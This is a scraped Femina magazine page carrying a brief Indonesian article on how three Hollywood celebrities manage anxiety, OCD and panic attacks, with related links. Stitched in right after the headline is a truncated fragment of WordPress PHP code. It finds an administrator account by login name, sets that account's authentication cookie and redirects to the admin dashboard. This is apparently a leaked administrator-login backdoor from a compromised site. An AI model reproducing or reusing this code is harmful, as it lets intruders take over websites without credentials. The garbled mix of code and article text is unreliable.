Ini Cara 3 Selebritas Atasi Panik dan Cemas

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Health & Diet

6 Feb 2017

Foto: Image Collect, Instagram / @kendalljenner, IMDB

Dari kiri ke kanan: Amanda Seyfried, Kendall Jenner, Emma Stone

Serangan cemas dan panik bisa melanda seseorang kapan saja dan di mana saja. Hal ini tentu bisa mengganggu aktivitas sebagian orang. Tiga selebritas Hollywood ini berbagi cara mereka mengatasi kecemasan yang hadir di sela-sela kesibukan.

1/ Amanda Seyfried (31) mengatasi OCD (obsessive-compulsive-disorder) dengan terapi dan minum obat Lexipro, sejak 11 tahun lalu.

2/ Kendall Jenner (21) mengaku, serangan kecemasan kerap melanda dirinya saat di pesawat hingga jantungnya berdetak sangat cepat, bahkan merasa mati rasa. Untuk mencegahnya, Kendall mengalihkan pikirannya pada hal-hal di luar pesawat dan latihan pernapasan.

3/ Sejak kecil Emma Stone (28) mengalami gangguan kecemasan. Sebelum makin buruk, orang tuanya membawa Emma terapi ke pakar psikologi untuk belajar mengendalikan kecemasan. Salah satunya dengan melakukan hal yang ia sukai, seperti memanggang kue. Kini, hal tersebut masih ia lakukan, bahkan saat tengah sibuk syuting film Spider-Man. (f)

Baca juga:
Mengapa Seseorang Mudah Sedih?
3 Pelajaran dari Pesepak Bola Dunia, Cristiano Ronaldo
3 Cara Hindari Birthday Blues
3 Cara Mudah Lenyapkan Stres

Topic
#psikologi

Konflik Psikis

Psikologi Kecemasan Wanita

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id